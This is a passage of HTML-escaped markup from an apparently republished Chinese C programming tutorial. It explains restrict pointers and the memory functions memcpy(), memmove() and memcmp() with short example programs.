class=\"type\"\u003eint\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,声明指针变量\u003ccode\u003ep\u003c/code\u003e时,加入了\u003ccode\u003erestrict\u003c/code\u003e说明符,使得\u003ccode\u003ep\u003c/code\u003e变成了受限指针。后面,当\u003ccode\u003ep\u003c/code\u003e指向\u003ccode\u003emalloc()\u003c/code\u003e函数返回的一块内存区域,就味着,该区域只有通过\u003ccode\u003ep\u003c/code\u003e来访问,不存在其他访问方式。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e p;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ep = \u003cspan class=\"built_in\"\u003emalloc\u003c/span\u003e(\u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* q = p;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e*q = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 未定义行为\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,另一个指针\u003ccode\u003eq\u003c/code\u003e与受限指针\u003ccode\u003ep\u003c/code\u003e指向同一块内存,现在该内存有\u003ccode\u003ep\u003c/code\u003e和\u003ccode\u003eq\u003c/code\u003e两种访问方式。这就违反了对编译器的承诺,后面通过\u003ccode\u003e*q\u003c/code\u003e对该内存区域赋值,会导致未定义行为。\u003c/p\u003e\u003ch3 id=\"memcpy\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#memcpy\" class=\"headerlink\" title=\"memcpy()\"\u003e\u003c/a\u003ememcpy()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003ememcpy()\u003c/code\u003e用于将一块内存拷贝到另一块内存。该函数的原型定义在头文件\u003ccode\u003estring.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e* \u003cspan class=\"title function_\"\u003ememcpy\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e* \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e dest, \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e* \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e source, \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003esize_t\u003c/span\u003e n\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码中,\u003ccode\u003edest\u003c/code\u003e是目标地址,\u003ccode\u003esource\u003c/code\u003e是源地址,第三个参数\u003ccode\u003en\u003c/code\u003e是要拷贝的字节数\u003ccode\u003en\u003c/code\u003e。如果要拷贝10个 double 类型的数组成员,\u003ccode\u003en\u003c/code\u003e就等于\u003ccode\u003e10 * sizeof(double)\u003c/code\u003e,而不是\u003ccode\u003e10\u003c/code\u003e。该函数会将从\u003ccode\u003esource\u003c/code\u003e开始的\u003ccode\u003en\u003c/code\u003e个字节,拷贝到\u003ccode\u003edest\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e\u003ccode\u003edest\u003c/code\u003e和\u003ccode\u003esource\u003c/code\u003e都是 void 指针,表示这里不限制指针类型,各种类型的内存数据都可以拷贝。两者都有 restrict 关键字,表示这两个内存块不应该有互相重叠的区域。\u003c/p\u003e\u003cp\u003e\u003ccode\u003ememcpy()\u003c/code\u003e的返回值是第一个参数,即目标地址的指针。\u003c/p\u003e\u003cp\u003e因为\u003ccode\u003ememcpy()\u003c/code\u003e只是将一段内存的值,复制到另一段内存,所以不需要知道内存里面的数据是什么类型。下面是复制字符串的例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;string.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e s[] = \u003cspan class=\"string\"\u003e\u0026#34;Goats!\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e t[\u003cspan class=\"number\"\u003e100\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ememcpy\u003c/span\u003e(t, s, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(s)); \u003cspan class=\"comment\"\u003e// 拷贝7个字节,包括终止符\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s\\n\u0026#34;\u003c/span\u003e, t); \u003cspan class=\"comment\"\u003e// \u0026#34;Goats!\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,字符串\u003ccode\u003es\u003c/code\u003e所在的内存,被拷贝到字符数组\u003ccode\u003et\u003c/code\u003e所在的内存。\u003c/p\u003e\u003cp\u003e\u003ccode\u003ememcpy()\u003c/code\u003e可以取代\u003ccode\u003estrcpy()\u003c/code\u003e进行字符串拷贝,而且是更好的方法,不仅更安全,速度也更快,它不检查字符串尾部的\u003ccode\u003e\\0\u003c/code\u003e字符。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* s = \u003cspan class=\"string\"\u003e\u0026#34;hello world\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003esize_t\u003c/span\u003e len = \u003cspan class=\"built_in\"\u003estrlen\u003c/span\u003e(s) + \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e *c = \u003cspan class=\"built_in\"\u003emalloc\u003c/span\u003e(len);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (c) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// strcpy() 的写法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003estrcpy\u003c/span\u003e(c, s);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// memcpy() 的写法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ememcpy\u003c/span\u003e(c, s, len);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,两种写法的效果完全一样,但是\u003ccode\u003ememcpy()\u003c/code\u003e的写法要好于\u003ccode\u003estrcpy()\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e使用 void 指针,也可以自定义一个复制内存的函数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e* \u003cspan class=\"title function_\"\u003emy_memcpy\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e* dest, \u003cspan class=\"type\"\u003evoid\u003c/span\u003e* src, \u003cspan class=\"type\"\u003eint\u003c/span\u003e byte_count)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* s = src;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* d = dest;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (byte_count--) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e *d++ = *s++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e dest;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,不管传入的\u003ccode\u003edest\u003c/code\u003e和\u003ccode\u003esrc\u003c/code\u003e是什么类型的指针,将它们重新定义成一字节的 Char 指针,这样就可以逐字节进行复制。\u003ccode\u003e*d++ = *s++\u003c/code\u003e语句相当于先执行\u003ccode\u003e*d = *s\u003c/code\u003e(源字节的值复制给目标字节),然后各自移动到下一个字节。最后,返回复制后的\u003ccode\u003edest\u003c/code\u003e指针,便于后续使用。\u003c/p\u003e\u003ch3 id=\"memmove\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#memmove\" class=\"headerlink\" title=\"memmove()\"\u003e\u003c/a\u003ememmove()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003ememmove()\u003c/code\u003e函数用于将一段内存数据复制到另一段内存。它跟\u003ccode\u003ememcpy()\u003c/code\u003e的主要区别是,它允许目标区域与源区域有重叠。如果发生重叠,源区域的内容会被更改;如果没有重叠,它与\u003ccode\u003ememcpy()\u003c/code\u003e行为相同。\u003c/p\u003e\u003cp\u003e该函数的原型定义在头文件\u003ccode\u003estring.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e* \u003cspan class=\"title function_\"\u003ememmove\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e* dest, \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e* source, \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003esize_t\u003c/span\u003e n\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码中,\u003ccode\u003edest\u003c/code\u003e是目标地址,\u003ccode\u003esource\u003c/code\u003e是源地址,\u003ccode\u003en\u003c/code\u003e是要移动的字节数。\u003ccode\u003edest\u003c/code\u003e和\u003ccode\u003esource\u003c/code\u003e都是 void 指针,表示可以移动任何类型的内存数据,两个内存区域可以有重叠。\u003c/p\u003e\u003cp\u003e\u003ccode\u003ememmove()\u003c/code\u003e返回值是第一个参数,即目标地址的指针。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a[\u003cspan class=\"number\"\u003e100\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// ...\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ememmove(\u0026amp;a[\u003cspan class=\"number\"\u003e0\u003c/span\u003e], \u0026amp;a[\u003cspan class=\"number\"\u003e1\u003c/span\u003e], \u003cspan class=\"number\"\u003e99\u003c/span\u003e * \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,从数组成员\u003ccode\u003ea[1]\u003c/code\u003e开始的99个成员,都向前移动一个位置。\u003c/p\u003e\u003cp\u003e下面是另一个例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e x[] = \u003cspan class=\"string\"\u003e\u0026#34;Home Sweet Home\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 输出 Sweet Home Home\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s\\n\u0026#34;\u003c/span\u003e, (\u003cspan class=\"type\"\u003echar\u003c/span\u003e *) memmove(x, \u0026amp;x[\u003cspan class=\"number\"\u003e5\u003c/span\u003e], \u003cspan class=\"number\"\u003e10\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,从字符串\u003ccode\u003ex\u003c/code\u003e的5号位置开始的10个字节,就是“Sweet Home”,\u003ccode\u003ememmove()\u003c/code\u003e将其前移到0号位置,所以\u003ccode\u003ex\u003c/code\u003e就变成了“Sweet Home Home”。\u003c/p\u003e\u003ch3 id=\"memcmp\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#memcmp\" class=\"headerlink\" title=\"memcmp()\"\u003e\u003c/a\u003ememcmp()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003ememcmp()\u003c/code\u003e函数用来比较两个内存区域。它的原型定义在\u003ccode\u003estring.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003ememcmp\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e* s1,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e* s2,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003esize_t\u003c/span\u003e n\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它接受三个参数,前两个参数是用来比较的指针,第三个参数指定比较的字节数。\u003c/p\u003e\u003cp\u003e它的返回值是一个整数。两块内存区域的每个字节以字符形式解读,按照字典顺序进行比较,如果两者相同,返回\u003ccode\u003e0\u003c/code\u003e;如果\u003ccode\u003es1\u003c/code\u003e大于\u003ccode\u003es2\u003c/code\u003e,返回大于0的整数;如果\u003ccode\u003es1\u003c/code\u003e小于\u003ccode\u003es2\u003c/code\u003e,返回小于0的整数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* s1 = \u003cspan class=\"string\"\u003e\u0026#34;abc\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* s2 = \u003cspan class=\"string\"\u003e\u0026#34;acd\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e r = \u003cspan class=\"built_in\"\u003ememcmp\u003c/span\u003e(s1, s2, \u003cspan class=\"number\"\u003e3\u003c/span\u003e); \u003cspan class=\"comment\"\u003e// 小于 0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例比较\u003ccode\u003es1\u003c/code\u003e和\u003ccode\u003es2\u003c/code\u003e的前三个字节,由于\u003ccode\u003es1\u003c/code\u003e小于\u003ccode\u003es2\u003c/code\u003e,所以\u003ccode\u003er\u003c/code\u003e是一个小于0的整数,一般为-1。\u003c/p\u003e\u003cp\u003e下面是另一个例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan 